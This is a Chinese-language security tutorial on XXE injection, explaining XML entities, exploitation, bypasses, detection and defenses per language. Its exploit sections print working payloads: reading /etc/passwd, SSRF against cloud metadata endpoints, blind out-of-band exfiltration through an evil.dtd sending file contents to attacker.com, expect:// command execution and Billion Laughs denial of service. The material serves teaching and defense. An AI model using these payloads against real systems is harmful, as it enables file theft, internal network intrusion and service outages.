XXE漏洞

一、XXE漏洞概述

1. 定义

XXE(XML External Entity Injection)即 XML外部实体注入漏洞,攻击者通过构造恶意XML数据,利用XML解析器的外部实体加载功能,实现 文件读取、内网探测、拒绝服务(DoS) 等攻击。

2. 危害
  • 敏感文件读取:读取服务器上的 /etc/passwdC:\Windows\win.ini 等文件。

  • SSRF(服务端请求伪造):探测内网服务(如Redis、MySQL)或攻击云服务器元数据接口(如AWS的 169.254.169.254)。

  • 拒绝服务:通过递归实体(Billion Laughs攻击)耗尽服务器资源。

3. 常见场景
  • XML文件上传:如文档转换、数据导入功能。

  • Web Services(SOAP/XML-RPC):基于XML的API接口。

  • Office文件解析:DOCX、XLSX等格式解压后包含XML文件。


二、XML基础知识

1. XML结构

xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY entity_name "entity_value">
]>
<root><element>&entity_name;</element>
</root>
2. 实体类型
  • 普通实体:仅用于XML文档内部引用。

    xml

    <!ENTITY name "value">
  • 外部实体:引用外部资源(文件、URL)。

    xml

    <!ENTITY ext_file SYSTEM "file:///etc/passwd"> <!ENTITY ext_url SYSTEM "http://attacker.com/evil.dtd">

  • 参数实体(需在DTD中使用):

    xml

    <!ENTITY % param_entity "evil_content">

三、XXE漏洞利用方法

1. 基础文件读取

Payload示例

xml

<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

利用条件

  • XML解析器启用外部实体(默认开启)。

  • 响应中回显实体内容(或通过报错/延时判断)。

2. SSRF攻击(探测内网)

Payload示例

xml

<!DOCTYPE data [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data>

利用场景

  • 云服务器元数据泄露(AWS、阿里云)。

  • 内网服务指纹识别(如Redis的 +PONG 响应)。

3. 盲注XXE(无回显利用)

步骤

  1. 触发带外请求(OOB)

    xml

    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;
  2. evil.dtd内容

    xml

    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
    %eval;
    %exfil;
  3. 攻击者服务器:捕获data参数中的文件内容。

4. 拒绝服务攻击(Billion Laughs)

Payload示例

xml

<!DOCTYPE data [<!ENTITY lol "lol"><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!-- 递归定义更多实体 -->
]>
<data>&lol9;</data>

效果:引发XML解析器内存耗尽,导致服务崩溃。


四、不同语言/库的XXE差异

语言/库默认是否允许外部实体禁用方法
PHP (libxml)默认禁用(≥8.0)libxml_disable_entity_loader(true)
Java (DOM)默认启用设置 DocumentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)
Python lxml默认禁用显式禁用 resolve_entities=False
.NET默认启用XmlReaderSettings.DtdProcessing = Prohibit

五、绕过技巧与高级利用

1. 协议扩展
  • PHP的expect协议(需安装扩展):

    xml

    <!ENTITY xxe SYSTEM "expect://id">
  • Java的jar协议

    xml

    <!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/file.txt">
2. 编码绕过
  • UTF-7编码

    xml

    <?xml version="1.0" encoding="UTF-7"?>
    +ADwAIQ-DOCTYPE data+AFs +ADwAIQ-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI +AD4AXQA+
3. 嵌套外部DTD

xml

<!DOCTYPE data SYSTEM "http://attacker.com/evil.dtd">

evil.dtd内容

xml

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

六、漏洞检测方法

1. 手动检测
  • 修改Content-Type:将请求的 Content-Type 改为 application/xml,插入测试实体。

  • Payload测试

    xml

    <?xml version="1.0"?>
    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <root>&xxe;</root>
2. 工具检测
  • Burp Suite插件

    • XML External Entity Injector:自动生成XXE Payload。

    • Collaborator Everywhere:检测盲注XXE的带外请求。

  • 命令行工具

    bash

    xxer --url http://target.com/api --data '<xml>...</xml>' --oob-server attacker.com

七、防御方案

1. 禁用外部实体
  • PHP

    libxml_disable_entity_loader(true);
  • Java

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
2. 使用安全解析器
  • 选择默认禁用DTD的库(如Python的 defusedxml)。

  • 配置XML解析器为不解析实体:

    python

    from lxml import etree
    parser = etree.XMLParser(resolve_entities=False)
3. 输入过滤与白名单
  • 过滤XML中的 <!DOCTYPE<!ENTITY 关键字。

  • 使用JSON替代XML(若业务允许)。

4. WAF规则
  • 拦截包含 SYSTEMfile://http:// 的请求。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/37401.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Go语言的基础类型

一基础数据类型 一、布尔型&#xff08;Bool&#xff09; 定义&#xff1a;表示逻辑真 / 假&#xff0c;仅有两个值&#xff1a;true 和 false内存占用&#xff1a;1 字节使用场景&#xff1a;条件判断、逻辑运算 二、数值型&#xff08;Numeric&#xff09; 1. 整数类型&…

SpringBoot整合MQTT最详细版(亲测有效)

一、导入pom.xml依赖 <!--mqtt依赖--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-integration</artifactId></dependency><dependency><groupId>org.springframework.in…

记一次发短信接口分析

忘记密码接口 数据包 GET /api/weatherforcast/user/send/17777777777 HTTP/2 Host: Cookie: SECKEY_ABVKd1GnERPtEFYSs7fL9W7VzoxAG0rjit7K8hAiMGIySpo522Wig70mdKRZQlvXNuqUTh9sBTWXG6XJ7miFZtA%3D%3D; Hm_lvt_018467e59f9d76a72cdbed870456819b1742445251,1742456927,1742…

dfs刷题排列问题 + 子集问题 + 组和问题总结

文章目录 一、排列问题全排列II题解代码 优美的排列题解代码 二、子集问题字母大小写全排列题解代码 找出所有子集的异或总和再求和题解代码 三、组合问题电话号码的字母组合题解代码 括号生成题解代码 组合题解代码 目标和题解代码 组合总和题解代码 总结 一、排列问题 全排列…

【AVRCP】蓝牙链路控制器(LC)与AVRCP互操作性要求深度解析

目录 一 、Link Controller&#xff08;LC&#xff09;概述 1.1 LC的定义与功能 1.2 LC在蓝牙技术中的重要性 二、Link Controller&#xff08;LC&#xff09;互操作性要求 2.1 互操作性要求概述 2.2 物理层互操作性要求 2.3 链路管理互操作性要求 2.4 其他互操作性要求…

go + vscode + cline +qwen 快速构建 MCP Server

go 编译自定义 mcp tool current time tool 代码 package mainimport ("context""fmt""time""github.com/mark3labs/mcp-go/mcp""github.com/mark3labs/mcp-go/server" )func main() {// Create MCP servers : server.New…

C语言-动态内存管理

1.为什么要有动态内存分配 我们现如今已经掌握的内存开辟方式有 int main() {int a 0;int arr[30] { 0 };return 0; } 这两种方式&#xff0c;但是这种开辟空间的方式有两个特点&#xff1a; 1.空间开辟大小是固定的 2.数组在申明的时候&#xff0c;必须指定数组的长度&…

Java复习

在开篇前首先申明一下&#xff0c;本文虽不够系统&#xff0c;但复习够用&#xff0c;尤其是快速回忆( •̀ ω •́ )✧与提问。 主打一个速度。 本文将会从Java的基础语法、面向对象、API、字符串、集合、进阶...等六方面讲起。 一、Java的基础语法&#xff1a; 1、Java入门…

Vue+ElementUI 字符串数组标签化展示组件

一. 效果 数据&#xff1a;‘[“苹果”,“香蕉”]’ 可添加&#xff0c;编辑&#xff0c;删除。 二. 组件源码 <template><div><div v-for"(item, index) in items":key"index"><el-inputv-if"inputVisible && ed…

识别并脱敏上传到deepseek/chatgpt的文本文件中的身份证/手机号

本文将介绍一种简单高效的方法解决用户在上传文件到DeepSeek、ChatGPT,文心一言,AI等大语言模型平台过程中的身份证号以及手机号等敏感数据识别和脱敏问题。 DeepSeek、ChatGPT,Qwen,Claude等AI平台工具快速的被接受和使用,用户每天上传的文本数据中潜藏着大量敏感信息,…

UR5e机器人位姿

UR5e 作为一款 6 自由度协作机器人&#xff0c;其末端执行器的位姿&#xff08;位置与姿态的组合&#xff09;控制是实现精准操作的核心。在笛卡尔坐标系中&#xff0c;位姿通常用齐次变换矩阵表示&#xff0c;包含末端的三维位置&#xff08;x, y, z&#xff09;和三维姿态&am…

小白闯AI:Llama模型Lora中文微调实战

文章目录 0、缘起一、如何对大模型进行微调二、模型微调实战0、准备环境1、准备数据2、模型微调第一步、获取基础的预训练模型第二步:预处理数据集第三步:进行模型微调第四步:将微调后的模型保存到本地4、模型验证5、Ollama集成部署6、结果测试三、使用总结AI是什么?他应该…

Linux基础开发工具——gdb/cgdb(7)

文章目录 前言一、生成可调试文件二、调试打开与关闭启动调试l 查看代码退出调试运行与断点单行与单步 三、查看变量bt 查看调用堆栈p 临时查看变量display 常显示变量 四、快速跳转until 指定行finish 函数c 断点 五、其他指令disable 断点使能set var 设置条件ptype 查看变量…

Python 3.13.2安装教程(安装包)Python 3.13.2 快速安装指南

文章目录 前言一 、Python 3.13.2下载二、Python 3.13.2安装教程1.运行安装程序2.选择安装方式3.自定义安装选项4.开始安装5.安装完成6.打开程序7.验证安装 前言 Python 作为一门通用编程语言&#xff0c;在全球拥有庞大的用户群体。其简洁易读的语法和丰富的库&#xff0c;使…

游戏MOD伴随盗号风险,仿冒网站借“风灵月影”窃密【火绒企业版V2.0】

游戏MOD&#xff08;即游戏修改器&#xff09;是一种能够对游戏进行修改或增强的程序&#xff0c;因其能够提升游戏体验&#xff0c;在玩家群体中拥有一定的市场。然而&#xff0c;这类程序大多由第三方开发者制作&#xff0c;容易缺乏完善的安全保障机制&#xff0c;这就为不法…

【读点论文】Chain Replication for Supporting High Throughput and Availability

在分布式系统中&#xff0c;强一致性往往和高可用、高吞吐是矛盾的。比如传统的关系型数据库&#xff0c;其保证了强一致性&#xff0c;但往往牺牲了可用性和吞吐量。而像 NoSQL 数据库&#xff0c;虽然其吞吐量、和扩展性很高&#xff0c;但往往只支持最终一致性&#xff0c;无…

新书速览|云原生Kubernetes自动化运维实践

《云原生Kubernetes自动化运维实践》 本书内容&#xff1a; 《云原生Kubernetes自动化运维实践》以一名大型企业集群运维工程师的实战经验为基础&#xff0c;全面系统地阐述Kubernetes&#xff08;K8s&#xff09;在自动化运维领域的技术应用。《云原生Kubernetes自动化运维实践…

Linux驱动学习笔记(六)

平台总线 1.平台总线模型也叫platform总线模型&#xff0c;平台总线是Linux系统虚拟出来的总线, 引入总线的概念可以对驱动代码和设备信息进行分离。平台总线模型将一个驱动分成了两个部分&#xff1a;platform_device和platform_driver&#xff0c;例如可使用文件device.c和d…

高频GNSS同震形变计算方法

高频GNSS&#xff08;通常采样率为 1Hz-50Hz&#xff09;可以提供高时间分辨率的地震形变信息&#xff0c;计算同震形变&#xff08;coseismic displacement&#xff09;的方法主要包括 趋势线法 和 基线法。

从简单探测到业务模拟:IT监控如何突破传统监控边界

探测是一种用于主动检测和评估IT系统、网络设备、应用服务等目标对象运行状态和性能指标的技术手段。它通过模拟用户操作、发送测试信号或执行特定的检查任务&#xff0c;实时获取目标对象的响应情况和相关数据&#xff0c;从而帮助运维人员及时发现潜在问题、评估系统健康状况…